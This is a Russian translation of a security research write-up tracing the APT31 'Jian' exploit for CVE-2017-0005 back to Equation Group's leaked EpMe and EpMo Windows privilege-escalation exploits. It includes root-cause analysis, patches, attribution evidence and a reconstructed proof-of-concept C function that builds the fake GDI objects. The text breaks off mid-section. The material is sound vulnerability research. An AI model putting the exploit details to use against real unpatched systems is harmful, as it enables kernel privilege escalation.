Второй этап начинается с типичной техники шелл-кода, поиска в заголовке модуля адреса kernel32.dll и динамического получения указателя на функцию экспорта GetProcAddress. Затем программа распаковывает другой переносимый исполняемый файл (PE) и переходит к его точке входа. Распакованный PE, который является 3-м этапом в последовательности загрузки, имеет намеренно поврежденные заголовки. Он выполняет базовые операции загрузки, а затем начинается с рефлексивной загрузки встроенного исполняемого файла (да, еще одного). Загруженный PE является последним этапом в последовательности загрузки и отвечает за выполнение эксплойта.
Интересно отметить, что время компиляции встроенного двоичного файла - самого эксплойта - датируется октябрем 2014 года. Это говорит о том, что злоумышленники использовали этот зеро-дэй в 2014 году, почти за три года до того, как он стал общедоступным в утечке Shadow Brokers и был исправлен Microsoft.
Как видно на рисунке выше, упаковщик, используемый для CVE-2019-0803, очень похож на упаковщик, используемый в CVE-2017-0005. На самом деле поток практически идентичен. Файл был скомпилирован 18 сентября 2018 г. и также имеет внутреннее имя "Add.dll". Как и ранее упакованный эксплойт, CVE-2019-0803 также имеет функцию экспорта с именем "AddByGod" и содержит отладочную информацию:
C:\Users\sms2056\Desktop\Add(未修改dll‘)\x64\Release\Add.pdb
В отличие от предыдущего примера, в этом примере используется другой пароль для дешифрования, и при запуске требуется дополнительный аргумент (используется на более поздних этапах). Затем поток выполнения продолжается точно так же, как мы наблюдали в предыдущем примере, за одним исключением: после того, как программа распаковывает полезную нагрузку PE и переходит к своей точке входа, у нее нет 4-го этапа другого встроенного PE, а просто начинается этап эксплуатации.
Мы искали другие образцы, в которых используется этот или аналогичный вариант описанного нами упаковщика, и обнаружили несколько образцов и семейств вредоносных программ, которые использовали его в течение многих лет. Все вредоносные программы явно и исключительно приписываются китайским группам атак. Добавление этого вывода к имеющейся у нас контекстной информации, независимой атрибуции Microsoft CVE-2017-0005 китайской APT и атрибутикой NSA CVE-2019-0803 "китайским государственным спонсорам" заставляет нас полагать, что эксплойт CVE-2017-0005 действительно использовался злоумышленниками, входящими в состав китайской группировки.
Jian – CVE-2017-0005
Анализируя Jian, мы заметили следующие интересные особенности.
Контекст версия операционной системы
Эксплойт создает контекст расширенной версии, который включает в себя несколько полей, каждое из которых представляет различные характеристики целевой операционной системы. Этот обширный контекст не типичен для китайских эксплойтов, которые мы проанализировали ранее, и выглядит как своего рода утилита/фреймворк. Это еще более подозрительно, поскольку некоторые поля в контексте даже не инициализированы (отмечены красным), а в целом только три из них используются самим эксплойтом (отмечены синим).
Для сравнения: эксплойт CVE-2019-0803 поддерживал только одну версию Windows и
использовал жестко запрограммированные зависящие от версии константы для
Windows Server 2008 R2. Alibaba даже сообщила, что имя файла инструмента было
2008.dll, что не оставляло сомнений в его предназначении.
Таблица глобальной конфигурации
Перечисление версий ОС используется в качестве индекса для глобальной таблицы конфигурации. Это классический пример использования такого перечисления, когда требуется конфигурация, зависящая от версии. Сама таблица конфигурации выглядит как многообещающий артефакт, который может появиться в дополнительных эксплойтах тех же авторов.
Мы создали сигнатуры обнаружения и искали образцы, содержащие эту таблицу конфигурации. По нашему поисковому запросу были получены следующие образцы:
- Mcl_NtElevation_EpMe_GrSa.dll (x86) – 292fe1fc7d350cc7b970da0f308d22089cd36ab552e5659e3cfb0d9690166628
- Mcl_NtElevation_EpMo_GrSa.dll (x64) – 1537cad1d2c5154e142af775ed555d6168d528bbe40b31f451efa92c9e4f02deClick to expand...
Соглашение об именах файлов и их контекст сразу же застали нас врасплох. Мы признали их частью утечки инструментов Equation Group, произведенной Shadow Brokers. Equation Group - это название, данное группе APT, которая считается подразделением Tailored Access Operations (TAO) Агентства национальной безопасности США. Как наш поиск чрезвычайно уникальных артефактов, извлеченных из китайского эксплойта нулевого дня, исправленного в марте 2017 года, показал результаты утечки инструментов Equation Group с 2013 года? Чтобы ответить на этот вопрос, мы начали углубляться и анализировать найденную информацию.
Lost In Translation
Прежде чем описывать наш анализ, мы хотим дать краткую историю группы The Shadow Brokers и их утечки инструментов Equation Group. Мы считаем, что понимание природы утечки, и особенно графика, имеет решающее значение для понимания того, что произошло дальше.
Shadow Brokers - это загадочная группа хакеров, впервые появившаяся 12 августа 2016 года, когда они пригласили общественность принять участие в аукционе "Кибероружия" Equation Group. С тех пор группа начала выпускать все больше и больше файлов в течение нескольких месяцев. Одна из этих утечек, получившая название Lost in Translation, появилась в апреле 2017 года и хорошо известна тем, что выпустила печально известные эксплойты Equation Group, такие как Eternal Blue.
Одним из основных компонентов этой утечки является DanderSpritz, фреймворк пост-эксплуатации Equation Group, который содержит широкий спектр инструментов для постоянства, разведки, бокового перемещения, обхода антивирусных механизмов и т.д. Структура очень модульная и предоставляет оператору множество возможностей для доступа к компьютерам жертв. В течение последних месяцев мы пересмотрели фреймворк DanderSpritz, реконструировали некоторые из его модулей и имплантатов и планируем опубликовать подробную публикацию, посвященную фреймворку и нашим открытиям.
Наш проект профилирования авторов эксплойтов фокусируется на эксплойтах Windows LPE, таких как CVE-2017-0005, артефакты которых мы искали. Как это часто бывает во фреймворках пост-эксплуатации, DanderSpritz и утечка Lost In Translation также содержат эксплойты LPE, и два из них соответствуют нашему запросу.
Теперь мы представляем краткий обзор некоторых эксплойтов LPE, которые были приписаны Equation Group, и их связи с просочившейся структурой DanderSpritz.
**История эксплойтов Equation Group LPE
PrivLib и Houston Disk**
Термин "PrivLib" часто используется для обозначения модуля повышения привилегий, встроенного в данный имплант Equation Group. PrivLib содержит выбранный набор эксплойтов Windows LPE, выбранных из арсенала Equation Group, и все они заключены в тонкую оболочку, известную своим уникальным мьютексом prkMtx.
В 2015 году Касперский сообщил о наборе Windows LPE, встроенных в booby- trapped диск, который был передан на научном съезде в Хьюстоне. Все эксплойты, приписываемые Equation Group, были зеродеями на момент разработки, а некоторые даже датировались 2008 годом. В общем, диск Houston Disk содержал версию PrivLib, которая запускает набор из 3 эксплойтов один за другим, пока не будут получены желаемые привилегии.
Вот список эксплойтов, содержащихся на диске, в соответствии с порядком их выполнения:
- MS09-025 (Fanny / Stuxnet)
- CVE-2013-3128
- CVE-2011-3402
Примечание. Перечисленные здесь CVE не совпадают с теми, которые изначально были упомянуты "Лабораторией Касперского" в своем отчете. Во-первых, исследователи Касперского с самого начала не были уверены в идентификаторах CVE-ID, отметив их как "возможно". Во-вторых, мы нашли дополнительную информацию о последних двух эксплойтах, которая помогла пролить свет на более вероятные идентификаторы CVE для каждого из них. Более подробную информацию об идентификации CVE-ID можно найти позже в соответствующих разделах, описывающих каждый эксплойт.
DanderSpritz NtElevation
DanderSpritz - это модульный фреймворк пост-эксплуатации, который содержит десятки различных взаимозависимых модулей. Например, некоторые модули не запускаются, если сначала не выполняются определенные модули, а для других требуются особые привилегии или артефакты. Для запуска некоторых модулей требуются привилегии учетной записи SYSTEM. Для этого DanderSpritz запускает набор модулей под названием "NtElevation", которые отвечают за повышение привилегий имплантата, запущенного на компьютере жертвы.
Именно эти модули повышения привилегий мы обнаружили, когда запросили глобальную таблицу конфигурации Jian. И они были не одни. Мы также нашли еще пару эксплойтов для повышения локальных привилегий из серии NtElevation.
В то время как эксплойты Eternal * получили много внимания, и это правильно, упоминания эксплойтов NtElevation почему-то отсутствовали. Мы не смогли найти в Интернете ни одной ссылки на существование модуля NtElevation как части арсенала Equation Group или даже как части эксплойтов Shadow Brokers, ни каких-либо ссылок на следующие 4 кодовых названия эксплойтов.
- ElEi
- ErNi
- EpMo
- EpMe
Примечание. Известно, что эксплойты Equation Group имеют кодовые названия, сокращенные с использованием 4 букв. Например, Eternal Blue и Eternal Romance внутренне называются ETBL и ETRO. Точно так же у описанных выше эксплойтов повышения локальных привилегий есть свои собственные кодовые имена, как указано выше.
Несмотря на наши попытки, нам не удалось отследить полные кодовые названия этих эксплойтов. Однако соглашение об именах предполагает, что EpMo и EpMe относятся к одному типу или что они используют уязвимости в одном модуле, как и эксплойты Eternal * (EternalBlue, EternalRomance и т.д.). Этот вывод действительно имеет смысл, поскольку наш единственный поисковый запрос обнаружил оба этих эксплойта.
Когда мы проанализировали DanderSpritz NtElevation API, мы обнаружили проверки, которые каждый модуль развертывает, чтобы объявить, что эксплойт действительно поддерживается. В сочетании с исходными датами исправлений, которые Касперский оценил для двух эксплойтов с Houston Disk, эта новая информация помогла нам лучше оценить внутреннюю работу каждого CVE-ID.
Мы тщательно проанализировали найденные эксплойты и попытались сопоставить каждый файл эксплойта с его соответствующим CVE-ID. Это результаты нашего анализа и наши выводы.
**ElEi – CVE-2011-3402
Houston Disk: **3-е место в порядке исполнения.
Поддерживаемые версии DanderSpritz для Windows : от Windows 2000 до Windows 7 включительно.
Эксплойт также содержит дополнительную проверку, датированную win32k.sys до 23 ноября 2011 года. Это явное указание на CVE-2011-3402, единственную уязвимость шрифта, исправленную в декабре 2011 года. Разрыв в датах объясняется тем, что Microsoft скомпилировала пропатченный драйвер в указанную дату.
Нам известно, что CVE-2011-3402 изначально был определен как 0-Day, который использовался в дикой природе, и был обнаружен в Duqu (1.0). В настоящее время мы можем только указать на это интересное совпадение CVE-ID, но мы еще не изучали его дополнительно и не сравнивали два эксплойта, так как эти эксплойты шрифтов выходят за рамки нашего исследования, которое фокусируется на неизвестных эксплойтах DanderSpritz и их подключение к CVE-2017-0005.
Мы рекомендуем это руководство для будущей публикации и приглашаем исследователей безопасности со всего мира изучить эту связь.
**ErNi – CVE-2013-3128
Houston Disk:** 2-е место в порядке исполнения.
Поддерживаемые версии DanderSpritz для Windows : только Windows 2000.
Эксплойт также содержит дополнительную проверку того, что ATMFD.dll имеет точную версию "5.0.2.227". Поскольку эксплойт Houston Disk поддерживает дополнительные версии, мы не совсем уверены, почему диапазон версий был сужен в DanderSpritz. По сравнению с ElEi, нет ориентировочной проверки патчей, что может быть связано с тем, что файлы DanderSpritz датированы серединой 2013 года, то есть до патча, который был идентифицирован Kaspersky и датирован октябрем 2013 года.
Мы выбрали CVE-2013-3128 вместо CVE-2013-3894, потому что эта уязвимость является уязвимостью OpenType Font, которая коррелирует с используемым эксплойтом. К этой идентификации следует относиться с недоверием, поскольку ни один из этих идентификаторов CVE на самом деле не был помечен как "эксплуатируемый в дикой природе". Причина, по которой мы выбрали этот CVE-ID, заключается просто в том, что он упоминается во вторник патчей, на который ссылается Касперский. Как и в случае с ElEi, дальнейшее изучение уязвимостей этих шрифтов более чем приветствуется.
Драйвер принтера пользовательского режима (UMPD) 101
Базовый анализ EpMo и EpMe показал, что они связаны с GDI User-Mode-Print- Driver (UMPD), что объясняет, почему мы нашли их при поиске артефакта, связанного с GDI UMPD. Перед тем, как погрузиться в эксплойты, мы сначала расскажем, что такое User-Mode-Print-Driver.
Операционная система Windows поддерживает возможность визуализации большей части необходимой графики для данного задания печати в пользовательском режиме, в отличие от традиционной реализации таких драйверов внутри ядра Windows. Архитектура развертывания такого драйвера печати пользовательского режима (UMPD) показана ниже.
Поддержка такого потока данных требует, чтобы ядро знало об устройстве UMPD
пользователя и могло пересылать ему набор запросов в зависимости от типов,
которые драйвер объявил для поддержки. Как более подробно объясняется в этом
превосходном выступлении Black Hat Europe 2020
([https://i.blackhat.com/eu-20/Wednes...-Vulnerabilities-In-Modern-Windows-
Kernel.pdf](https://i.blackhat.com/eu-20/Wednesday/eu-20-Han-
Discovery-20-Yeas-Old-Vulnerabilities-In-Modern-Windows-Kernel.pdf)),
посвященном UMPD, разрешение обратных вызовов пользовательского режима,
вызываемых из ядра, является верным рецептом для уязвимостей.
В следующих нескольких разделах мы подробно объясним, как каждый эксплойт Equation Group использует UMPD и какие уязвимости в этом механизме были использованы.
EpMo – Анализ
Houston Disk: N/A.
Поддержка DanderSpritz Windows Versions: Windows 2000 до Windows Server
2008 R2, включительно.
Основная причина
После того как мы закончили реверс инжиниринг контекста и утилит, представленных как часть фреймворка и API DanderSpritz, сама уязвимость оказалась довольно простой. Краткий анализ показал, что это, вероятно, уязвимость NULL-Deref, поскольку NULL-страница выделяется, и шелл-код немедленно копируется на нее, как можно увидеть ниже:
Поскольку это уязвимость NULL-Deref, мы можем сразу исключить CVE-2017-0005, поскольку трассировка стека, показанная в блоге Microsoft, не имеет ничего общего со страницей NULL. Это означает, что возможно есть, еще одна уязвимость, обнаруженная и эксплуатируемая Equation Group в 2013 году. Теперь пора понять, что вызывает эту уязвимость NULL-Deref.
Наш первый намек на идентичность затронутого модуля, который, как мы ожидаем, будет UMPD, можно найти в этом классическом примере использования поля перечисления версии ОС:
После получения зависимого от версии индекса обратного вызова сам обратный
вызов заменяется фальшивым обратным вызовом злоумышленника ClientPrinterThunk.
Бинго! Эксплойт действительно использует поддельный ClientPrinterThunk. Давайте углубимся и проанализируем логику эксплойта внутри этого фальшивого обратного вызова.
Сам обратный вызов представляет собой тонкую обертку, которая пересылает gdi_ctx и исходный аргумент функции, которая очень похожа на собственный GdiPrinterThunk Windows. Фактически, код эксплойта очень модульный, и каждая команда поддерживаемого драйвера обрабатывается собственным виртуальным обработчиком, реализованным в классе gdi_ctx. Помимо выбранного набора реализованных обработчиков, в этой функции нет реальной логики.
Анализируя эту функцию, мы наткнулись на массив конфигурации GDI, который изначально указывал нам на этот образец эксплойта. Теперь, помещенные в правильный контекст, мы можем легко определить роль этого массива конфигурации. Он содержит значение INDEX_LAST драйвера печати для каждой версии целевой операционной системы.
Как видно выше, это значение конфигурации имеет решающее значение для логики драйвера, поскольку оно представляет общее количество отправленных функций, которые должны обрабатываться драйвером.
Теперь, когда мы поняли общий ход эксплойта и структуру драйвера печати пользовательского режима (UMPD), выявление основной причины уязвимости оказалось относительно простой задачей. В драйвере реализованы специальные обработчики только для следующих основных типов команд:
Помимо этих команд существует еще одна поддерживаемая команда со значением
INDEX_LAST + 4, зависящим от операционной системы:
В этой команде мы инициализируем массив, который сообщает операционной системе, какие обработчики функций мы поддерживаем. Злоумышленники отметили все функции как поддерживаемые, за исключением трех обработчиков конкретных функций:
DrvStartDoc (0x23)
DrvEnableSurface (0x03)
DrvDisableSurface (0x04)
Обратите особое внимание на DrvEnableSurface. Системный вызов, запускающий уязвимость, - это NtGdiStartDoc, который отвечает за запуск задания на печать. Однако для этого вызывается уязвимая функция win32k! PDEVOBJ::bMakeSurface(), которая пытается создать поверхность, в точности та операция, которая не поддерживается нашим драйвером. Вот результат отладки уязвимой функции:
Хотя запись DrvDisablePDEV (0x02) существует и указывает на правильную функцию Windows, соседняя запись DrvEnableSurface (0x03) содержит только нули.
С этого момента уязвимость очевидна. Уязвимая функция предполагает, что наш драйвер поддерживает этот обработчик, извлекает пустую запись из структуры и вызывает NULL как функцию, отвечающую за включение поверхности. На рисунке ниже показана полная трассировка стека, прямо в той точке, в которой поток управления передается шеллкоду, который злоумышленник сохранил по адресу 0x0:
00 8aeb8c6c 8fa42330 0x0
01 8aeb8c88 8fbae3f6 win32k!PDEVOBJ::bMakeSurface+0x43
02 8aeb8cb0 8fbae94c win32k!GreStartDocInternal+0x7e
03 8aeb8d1c 82a4f42a win32k!NtGdiStartDoc+0x2ff
04 8aeb8d1c 000f0813 (T) nt!KiFastCallEntry+0x12a
05 0022eed0 10008118 (T) 0xf0813
06 0022ef18 10006f53 Mcl_NtElevation_EpMo_GrSa+0x8118
07 0022ef28 10006fc3 Mcl_NtElevation_EpMo_GrSa+0x6f53
08 0022ef44 10007af4 Mcl_NtElevation_EpMo_GrSa+0x6fc3
09 0022ef74 10006ce5 Mcl_NtElevation_EpMo_GrSa+0x7af4
0a 0022efcc 10004a31 Mcl_NtElevation_EpMo_GrSa+0x6ce5
0b 0022f324 100038c0 Mcl_NtElevation_EpMo_GrSa+0x4a31
0c 0022f338 10003a7b Mcl_NtElevation_EpMo_GrSa+0x38c0
0d 0022f370 10002adf Mcl_NtElevation_EpMo_GrSa+0x3a7b
0e 0022f3d8 77d5af24 Mcl_NtElevation_EpMo_GrSa+0x2adfClick to expand...
Патч
Microsoft устранила эту уязвимость в мае 2017 года, через месяц после утечки Lost in Translation Shadow Brokers. Однако нам не удалось найти CVE-ID, относящийся к этому исправлению. Сам патч устраняет точную ошибку в уязвимой функции win32k!PDEVOBJ::bMakeSurface(). Он добавляет проверку работоспособности после того, как обработчик извлекается из структуры и до того, как он будет вызван функцией. Если запись NULL, функция прерывается.
В заключение, эксплойт EpMo Equation Group является NULL-Deref в модуле GDI UMPD и, следовательно, не является эксплойтом для CVE-2017-0005. Он был пропатчен Microsoft в мае 2017 года, и мы не смогли найти связанного с ним четкого идентификатора CVE.
Теперь, когда мы лучше понимаем API фреймворка и лучше понимаем модуль UMPD, пора сосредоточиться на следующем эксплойте — EpMe.
Напомним, мы обнаружили оба этих эксплойта при поиске артефакта от Jian,
эксплойта APT31 для CVE-2017-0005. Поскольку EpMo - это другая уязвимость,
которая проистекает из того же модуля, мы надеялись, что EpMe действительно
использует CVE-2017-0005.
Время проанализировать это и выяснить.
**EpMe – Анализ
Houston Disk:** N/A.
Поддержка DanderSpritz : Windows XP до Windows 8, включительно.
Основная причина
Вооружившись новыми знаниями о модуле UMPD, мы начали анализ эксплойта EpMe. Сам эксплойт имеет много общего с EpMo кода, что позволяет нам легко сосредоточиться на специфической для эксплойта логике, уникальной для EpMe. Хотя фаза инициализации этого эксплойта более продолжительна и включает в себя множество операций начальной загрузки, связанных с GDI (DrawStream(), поиск нужного дисплея и т.д.), реальный поток, который захватывает поток управления, относительно прост.
После завершения начальной загрузки эксплойт вызывает системный вызов NtGdiBitBlt. Это инициирует цепочку событий в ядре Windows и в конечном итоге передает поток обратно нашему обратному вызову пользовательского режима (DrvBitBlt ()), зарегистрированному нашим UMPD. В этом суть эксплоита.
Наша функция выделяет новую Rbrush с помощью NtGdiBRUSHOBJ_pvAllocRbrush(), единственная цель которой - позволить реализациям UMPD выделить себе Rbrush и связать ее с BRUSHOBJ. Как прямой результат, это также означает, что Rbrush выделяется в пользовательском режиме с использованием EngAllocUserMemEx (). Сохранение его в пользовательском режиме означает, что мы можем получить к нему доступ и создать содержимое структуры. Итак, злоумышленники повредили Rbrush, указав на набор поддельных объектов GDI, которые были подделаны в локальном буфере стека внутри обратного вызова.
Чтобы перехватить поток управления, злоумышленники решили использовать Palette и создали ее таким образом, чтобы PALETTE.pfnGetNearestFromPalentry указывал на их шелл-код, в точности как Microsoft указала в своем блоге на эксплойт "пойманный в дикой природе". После того, как все построено, обратный вызов вызывает системный вызов NtGdiEngBitBlt с параметром rop4, равным 0xCCAA. Этот конкретный системный вызов был выбран из-за двух ключевых особенностей:
- Пользователь передает ему BRUSHOBJ.
- Значение rop4 0xCCAA означает, что ядро напрямую обращается к управляемой
пользователем Rbrush из предоставленного BRUSHOBJ.
В частности, Stream извлекается из полностью контролируемого Rbrush и направляется в EngDrawStream(), в результате чего ничего не подозревающая функция ядра использует наш полностью созданный Stream.
Эта цепочка функций постепенно использует все объекты GDI, которые мы создали в нашем обратном вызове пользовательского режима, что в конечном итоге приводит к XLATEOBJ_iXlate(). Эта последняя функция вызывает созданный нами указатель на функцию PALETTE.pfnGetNearestFromPalentry, таким образом захватывая поток управления и запуская выполнение нашего шелл-кода.
Подводя итог, можно сказать, что основная причина этой уязвимости кроется в сложной конструкции, связанной с поддержкой UMPD, и в необходимости выделять для нее объекты в пользовательском режиме. Сама уязвимость находится внутри EngBitBlt(), который слепо доверяет и напрямую использует созданный нами Rbrush и набор фальшивых объектов GDI, на которые он указывает. Эта уязвимость не только дает злоумышленнику мощный примитив эксплойта, но также указывает на конструктивную проблему в ядре Windows. Пока где-то в ядре есть функция, которая напрямую обращается к предоставленной пользователем Rbrush, она также слепо доверяет всем значениям, на которые она указывает и которые полностью контролируются пользователем.
Патч – CVE-2017-0005
Еще один важный вывод, который мы сделали из анализа эксплуатируемой уязвимости, заключается в том, что теперь мы точно знаем, что EpMe использует CVE-2017-0005. Помимо нашего анализа эксплойтов Equation Group и APT31, эксплойт EpMe идеально согласуется с деталями, опубликованными в блоге Microsoft о CVE-2017-0005. И если этого было недостаточно, эксплойт действительно перестал работать после патча Microsoft, выпущенного в марте 2017 года, исправления, устраняющего указанную уязвимость.
Сам патч довольно прост: EngBitBlt() со значением rop4, равным 0xCCAA, больше не поддерживает возможность рисования Stream, действие, которое требует извлечения Stream из предоставленной пользователем Rbrush. Полностью удалив эту функцию, Microsoft полностью устранила уязвимый поток кода.
До
После
Важно помнить, что два APT, использующие одну и ту же уязвимость (CVE-2017-0005), могут быть просто совпадением. Когда это происходит с исследователями безопасности, такой случай часто называют "столкновением ошибок". Возможно, что исследователи с обеих сторон обнаружили эту уязвимость независимо друг от друга, и это не обязательно означает, что между инструментами существует реальная связь.
Теперь мы сравним два образца эксплойтов, Jian и EpMe, и посмотрим, сможем ли мы обнаружить какую-либо связь между ними, кроме того, что они используют одну и ту же уязвимость.
**EpMe vs Jian
Контекст аналогичной версии**
В начале нашего исследования мы увидели, что Jian использует контекст, содержащий несколько полей о версии целевой операционной системы. Используемые поля отмечены синим цветом, а неинициализированные поля - красным.
Теперь, когда мы рассматриваем контекст версии, используемый всеми эксплойтами, совместно используемыми фреймворком DanderSpritz, мы можем увидеть следующую, очень похожую структуру:
Поля, отмеченные красным в Jian, были снова отмечены в примере из эксплойтов Equation Group. Как можно видеть, одно поле все еще не используется во всех 4 эксплойтах DanderSpritz, но другое поле активно используется и содержит дескриптор отображенной версии ядра NTOS. Трудно не заметить большое сходство между двумя структурами, вплоть до порядка и размера первых 9 полей, даже включая размер неиспользуемого поля между ними.
Различия между этими двумя структурами конфигурации заключаются в том, что конфигурация Equation Group содержит больше полей, в основном используемых для политик снижения безопасности, которые актуальны для систем Windows 8 и выше. Последнее различие между структурами заключается в поле, определяющем архитектуру целевого ядра, что по какой-то причине было отвергнуто в Jian. Во всяком случае, это поле никогда не использовалось эксплойтом.
В целом, использование контекста версии в эксплойте с китайской-атрибутикой встречается нечасто. Наличие одного, почти идентичного контексту версии, используемому всем модулем DanderSpritz NtElevation, не может быть совпадением.
Та же раскладка памяти
В основе эксплойтов лежит одна функция, которая заполняет буфер различными поддельными объектами GDI, на которые указывает наш объект Rbrush пользовательского режима. Оба эксплойта не только используют одну функцию для создания всех этих фальшивых объектов, но и структура памяти объектов в буфере аргументов также идентична.
Когда мы анализировали код эксплойта Equation Group, мы использовали его для воссоздания исходного кода Proof-Of-Concept (POC). В результате получился следующий украшенный и помеченный код:
C:Copy to clipboard
void populate_buffer_and_brush(char * pBuffer, HBRUSH hbrush)
{
memset(pBuffer, 0, 0x200);
memset(&pBuffer[0x200], 0, 0xA8);
memset(&pBuffer[0x2A8], 0, 0x30);
memset(&pBuffer[0x2D8], 0, 0x10);
// 0x00: PALETTE
*(DWORD *)( pBuffer + 0x18) = 2; // 0x14 - 0x1C: flPal
*(size_t *)(pBuffer + 0x80) = pBuffer + 0x2A8; // 0x80 - 0x88: apalColor
// Brush (DRAWSTREAMINFO)
size_t * pBrush = (size_t*)hbrush;
pBrush[3] = pBuffer + 0x29C; // pptlDstOffset - Pointer to 0
pBrush[4] = pBuffer + 0x208; // pxloSrcToBGRA
pBrush[5] = pBuffer + 0x208; // pxloDstToBGRA
pBrush[6] = pBuffer + 0x208; // pxloBGRAToDst <-- We use this one (offset 0x30)
pBrush[7] = 60; // ulStreamLength - 60
pBrush[8] = pBuffer + 0x260; // pvStream - Pointer to our built "Stream"
// Second Struct
*(size_t *)(pBuffer + 0x200) = hbrush;
// 0x208: _XLATE
*(size_t *)(pBuffer + 0x230) = pBuffer; // ppalSrc
*(size_t *)(pBuffer + 0x238) = pBuffer; // ppalDst <-- We use this one (offset 0x30)
*(size_t *)(pBuffer + 0x240) = pBuffer; // ppalDstDC
// 0x260 - 0x2A8: Our "Stream"
*(DWORD *)(pBuffer + 0x260) = 9; // DS_NINEGRIDID (ulCmdID)
*(DWORD *)(pBuffer + 0x26C) = 1; // rclDst.right = 0x01
*(DWORD *)(pBuffer + 0x270) = 1; // rclDst.bottom = 0x01
*(DWORD *)(pBuffer + 0x27C) = 80; // rclSrc.right = 0x50
*(DWORD *)(pBuffer + 0x280) = 80; // rclSrc.bottom = 0x50
*(DWORD *)(pBuffer + 0x284) = 4; // ngi.flFlags := DSDNG_PERPIXELALPHA (4)
// 0x2A8: Palette Color Table
*(DWORD *)(pBuffer + 0x2CC) = 100;
// Fourth Struct
*(size_t *)(pBuffer + 0x2D8) = AllocMemoryPage(0x10000);
*(size_t *)(pBuffer + 0x2E0) = g_pRtlCopyUnicodeString;
За исключением добавленной структуры в конце буфера, которая использует RtlCopyUnicodeString, структура памяти объектов внутри буфера аргументов была полностью идентична.
Поскольку мы также пометили различные объекты, мы можем видеть, что важная часть - это ссылки от одного объекта к другому, а не место, в котором они хранятся в самом буфере. И все же, как по волшебству, оба эксплойта разделяют этот макет памяти.
Разделяемые константы
Еще одно преимущество нашего воссозданного кода POC для EpMe состоит в том, что он позволил нам поиграть с различными константами, используемыми в эксплойте, такими как:
- Имя окна графического интерфейса пользователя - Первоначально «h».
- Пункты локации - одна из которых изначально была (100, 100).
- Идентификатор задания на печать - Изначально 5.
- Имя драйвера/Имя документа - внизу показана странная строка Unicode.
Излишне говорить, что ничего из вышеперечисленного не было связано с самой уязвимостью, и их изменение никак не повлияло на эксплойт. Это просто жестко запрограммированные константы, выбранные исходными разработчиками эксплойта.
Интересно то, что и EpMe, и Jian используют одни и те же жестко запрограммированные константы. Тот факт, что все эти константы являются общими для двух образцов, даже странно выглядящая строка Unicode выше, просто показывает, что один из эксплойтов, скорее всего, был скопирован из другого.
Также возможно, что обе стороны были вдохновлены какой-то неизвестной сторонней реализацией, которая использовала все эти константы. Увы, нам не удалось найти никаких доказательств существования такого модуля. Мы должны сказать, что вероятность этого сценария довольно мала, особенно с учетом странно выглядящей строки Unicode.
Заключительное сравнение
Смысл всего этого довольно прост:
- Один APT обнаружил уязвимость и разработал для нее эксплойт.
- Другой APT захватил эксплоит и воспроизвел для себя.
Хотя оба они заслуживают полной признательности за эти замечательные достижения, мы все же хотим выяснить, кто у кого копировал. Пора сравнить эксплойты.
**Кто был первоначальным разработчиком?
Странно выглядящая строка Unicode**
По мнению западного исследователя, строка Unicode, используемая как для имени драйвера принтера, так и для имени печатного документа, выглядит чужеродной. И действительно, мы можем с уверенностью сказать, что строка «屁 썟» не выглядит очевидным выбором для носителей английского языка.
Поэтому мы проконсультировались с коллегами по всему миру, которые свободно говорят на китайском, корейском и японском языках, и спросили их мнение об этих двух символах. В единодушном ответе, который мы получили, было заявлено, что не существует языка, на котором эти символы имели бы смысл. В каждом языке только один символ имеет значение и в любом случае не имеет смысла как часть двухсимвольной фразы. Мы также проверили значение символов, созданных путем инвертирования порядка исходных байтов, и результат был таким же.
Так что, вероятно, это не китайская фраза, использованная первоначальными разработчиками эксплойта, но что это такое?
Наша основная гипотеза основана на мнениях разработчиков. Помимо имен файлов DLL и импортированных функций, очень редко можно найти какую-либо строку в образцах Equation Group. Даже имя созданного окна - это всего лишь "h", а не совсем длинная строка, которая могла бы использоваться правилами YARA для «подписи» двоичного файла. Столкнувшись с необходимостью использовать строку Unicode, которая наверняка длиннее одной строки символов ASCII, мы считаем, что разработчики решили использовать шаблон, который соответствует их потребностям:
- Unicode-достаточный для Windows API.
- Не настоящая строка, которую могли бы отследить.
Если мы внимательно посмотрим на выбранную строку Unicode, мы увидим, что на самом деле она имеет больше смысла как фрагмент ассемблера x64:
41 5C pop r12
5F pop rdi
C3 retn
Фактически, эта последовательность байтов является очень популярным фрагментом ассемблера, который встречается почти 150 раз только в ntdll.dll. Выбор такой популярной последовательности для "строки Unicode" позволяет достичь всех заявленных целей.
Наконец, строка также может быть сгенерирована случайным образом и вообще не имеет никакого смысла.
Название окна - «h»
Как мы только что упомянули в предыдущем разделе, имя окна графического интерфейса пользователя, используемое в обоих эксплойтах, - "h". То, что может показаться случайно выбранной короткой строкой, на самом деле имеет за собой определенную историю. Поскольку самая ранняя версия PrivLib, которую нам удалось найти, датируется 2008 годом, все проанализированные нами эксплойты Equation Group использовали одну и ту же строку, когда требовалось имя окна. И эта строка всегда была "h".
Фактически, все 3 эксплойта, включенные в Houston Disk, использовали одну и ту же глобальную строку при создании своего окна:
Это небольшое свидетельство того, что первоначальными авторами эксплойтов действительно могла быть Equation Group. Однако, поскольку этот артефакт также мог быть просто совпадением, теперь мы рассмотрим дополнительные аспекты эксплойтов.
**Quirks in Jian
Поддержка Windows 2000**
Внимательное изучение уязвимой функции показывает нам, что Windows 2000 никогда не была уязвимой, как можно увидеть ниже:
Несмотря на то, что Windows 2000 не является уязвимой, код UMPD в Jian имеет особые случаи для Windows 2000, а Windows 2000 является частью перечисления версии ОС.
Интересная проблема заключается в том, что согласно конфигурациям эксплойтов Equation Group, EpMe не поддерживает Windows 2000. Минимальная поддерживаемая версия - Windows XP, которая идеально сочетается с уязвимыми версиями Windows.
Тот факт, что Equation Group построил надлежащие фреймворки, означает, что модуль UMPD совместно использовался между EpMe и EpMo. Различия между эксплойтами основаны на логике, специфичной для эксплойтов, которая была реализована внутри виртуальных обработчиков, которые вызываются универсальным модулем UMPD. Поскольку EpMo поддерживает Windows 2000, то же самое делает и модуль UMPD, что объясняет, почему кажется, что EpMe поддерживает эту версию Windows.
Если на мгновение предположить, что APT31 был первоначальным разработчиком эксплойта для CVE-2017-0005, зачем им вообще пытаться добавить поддержку Windows 2000? Windows 2000 никогда не была уязвимой. Чтобы быть ясным, у нас нет никаких указаний на то, что у участников была своя собственная версия эксплойта EpMo или чего-либо подобного, то есть у нас нет никаких указаний на то, что им когда-либо была нужна такая поддержка Windows 2000 для любого другого инструмента/эксплойта.
Гораздо более вероятный сценарий - APT31 скопировал эксплойт из Equation Group. Вполне вероятно, что разработчики угроз, вероятно, не до конца понимали ограничения эксплойта и поэтому оставили код, специфичный для Windows 2000, нетронутым. Старая реликвия, унаследованная от эксплойта EpMo, о котором APT31 даже не подозревал и не заботился.
Ротация значения enum
